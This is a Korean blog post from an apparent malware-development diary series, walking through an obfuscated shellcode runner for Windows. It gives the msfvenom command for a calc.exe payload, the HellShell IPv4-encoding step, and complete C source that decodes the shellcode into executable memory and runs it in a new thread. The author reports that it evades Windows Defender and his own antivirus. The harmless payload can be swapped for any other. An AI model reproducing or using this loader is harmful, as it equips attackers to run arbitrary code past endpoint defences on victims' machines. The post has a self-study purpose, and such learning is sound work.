obfuscated shellcode excution
(백신 개발일지 5에서 이어짐)
지난번 만든 shellcode injection 코드는 windows defender에 잡혀버리고 단순한 시그니처 백신으로도 잡힌다...
이번엔 저번에 배운 obfuscation과 hellshell을 이용해서 한번 real PC에서도 작동하게 만들어보자!
페이로드 준비
예전에 만들었던 calc.exe를 실행하는 msfvenom에 bin으로 저장하는 옵션을 넣어 다시 페이로드를 만들고...
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f raw -o payload.bin
그리고 hellshell로 ipv4 인코딩을 시켜준다 (obfuscation)
Hellshell.exe payload.bin ipv4
전체 코드
기본적인 깔은 비슷하나, deObfuscation 부분이 들어가서 살짝 복잡해졌다.
그러나,
페이로드를 메모리에 복사 -> 스레드 만들어서 실행
이건 변하지 않았다.
#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
const char* IPv4Shell[] = {
"252.72.131.228", "240.232.192.0", "0.0.65.81", "65.80.82.81", "86.72.49.210", "101.72.139.82", "96.72.139.82", "24.72.139.82", "32.72.139.114", "80.72.15.183", "74.74.77.49", "201.72.49.192",
"172.60.97.124", "2.44.32.65", "193.201.13.65", "1.193.226.237", "82.65.81.72", "139.82.32.139", "66.60.72.1", "208.139.128.136", "0.0.0.72", "133.192.116.103", "72.1.208.80", "139.72.24.68",
"139.64.32.73", "1.208.227.86", "72.255.201.65", "139.52.136.72", "1.214.77.49", "201.72.49.192", "172.65.193.201", "13.65.1.193", "56.224.117.241", "76.3.76.36", "8.69.57.209", "117.216.88.68",
"139.64.36.73", "1.208.102.65", "139.12.72.68", "139.64.28.73", "1.208.65.139", "4.136.72.1", "208.65.88.65", "88.94.89.90", "65.88.65.89", "65.90.72.131", "236.32.65.82", "255.224.88.65",
"89.90.72.139", "18.233.87.255", "255.255.93.72", "186.1.0.0", "0.0.0.0", "0.72.141.141", "1.1.0.0", "65.186.49.139", "111.135.255.213", "187.224.29.42", "10.65.186.166", "149.189.157.255",
"213.72.131.196", "40.60.6.124", "10.128.251.224", "117.5.187.71", "19.114.111.106", "0.89.65.137", "218.255.213.99", "97.108.99.46", "101.120.101.0"
};
#define ElementsNumber 69
#define SizeOfShellcode 276
BOOL DecodeIPv4Fuscation(const char* IPV4[], PVOID LpBaseAddress, SIZE_T* pSize) {
PCSTR Terminator = NULL;
PVOID LpBaseAddress2 = NULL;
NTSTATUS STATUS;
int i = 0; // i는 현재까지 디코딩된 총 바이트 수를 추적합니다.
for (int j = 0; j < ElementsNumber; j++) {
LpBaseAddress2 = (PVOID)((ULONG_PTR)LpBaseAddress + i);
STATUS = RtlIpv4StringToAddressA((PCSTR)IPV4[j], FALSE, &Terminator, (IN_ADDR*)LpBaseAddress2);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlIpv4StringToAddressA failed for %s result %x\n", IPV4[j], STATUS);
return FALSE;
}
else {
i = i + 4; // 성공할 때마다 4바이트씩 누적
}
}
if (pSize != NULL) {
*pSize = (SIZE_T)i;
}
return TRUE;
}
int main() {
PBYTE pDeobfuscatedPayload = NULL;
SIZE_T sDeobfuscatedSize = SizeOfShellcode;
printf("[i] injecting shellcode in PID: %d\n", GetCurrentProcessId());
// 데이터를 담을 공간
pDeobfuscatedPayload = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sDeobfuscatedSize);
if (pDeobfuscatedPayload == NULL) {
printf("[-] HeapAlloc failed\n");
return -1;
}
printf("[#] Decrypting...\n");
if (!DecodeIPv4Fuscation(IPv4Shell, pDeobfuscatedPayload, &sDeobfuscatedSize)) {
printf("[-] failed\n");
return -1;
}
printf("[+] decode success! Payload at: 0x%p & Size: %zu \n", pDeobfuscatedPayload, sDeobfuscatedSize);
// 페이로드 저장공간 할당
printf("[#] Allocating...\n");
PVOID pShellcodeAddress = VirtualAlloc(NULL, sDeobfuscatedSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[-] failed\n");
return -1;
}
printf("[+] success! allocated memory at: 0x%p \n", pShellcodeAddress);
// 할당된 메모리에 페이로드 저장
printf("[#] Writing Payload...\n");
memcpy(pShellcodeAddress, pDeobfuscatedPayload, sDeobfuscatedSize);
memset(pDeobfuscatedPayload, '\0', sDeobfuscatedSize); // 다 쓴 페이로드는 지우기
// 메모리 권한 설정
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pShellcodeAddress, sDeobfuscatedSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[-] failed with error %d\n", GetLastError());
return -1;
}
// 새 스레드 만들어서 실행
printf("[#] press <Enter> to run...\n");
getchar();
if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
printf("[-] failed with error %d\n", GetLastError());
return -1;
}
HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
printf("[#] press <Enter> to Quit...\n");
getchar();
return 0;
}
github에 공개된 hellshell은 좀 오래된 버전이라 코드에 맞게 hellshell이 만들어준 deObfuscation 코드를 좀 수정하였다.
x64dbg 덤프 창에서 ctrl+g를 누르고 원하는 주소를 치면 메모리 이동 가능
그리고 우클릭-찾기-문자열참조로 조금 더 쉽게 중단점을 찾을 수 있다!
페이로드가 저장되었다 말한 곳을 보면 실제 페이로드가 decode되어 풀려있다

그리고 메모리에 페이로드를 올리고 나서는 0x00으로 초기화도 잘 되었다

이렇게 코드를 짜고 release mode로 컴파일하면...

이제 defender를 우회해서 페이로드를 통해 계산기를 켤 수 있게 되었다!

물론 내 백신도 무력화되었다...
반응형
'악성코드와 백신 > 악성코드 개발일지' 카테고리의 다른 글
| [악성코드 개발](13)[레지스트리 조작] (0) | 2026.03.19 |
|---|---|
| [악성코드 개발](12)[persistency] (0) | 2026.03.18 |
| [악성코드 개발](10)[local-payload-injection] (0) | 2026.03.12 |
| [악성코드 개발](9)[페이로드 암호화] (0) | 2026.03.11 |
| [악성코드 개발](8)[페이로드 난독화] (0) | 2026.03.10 |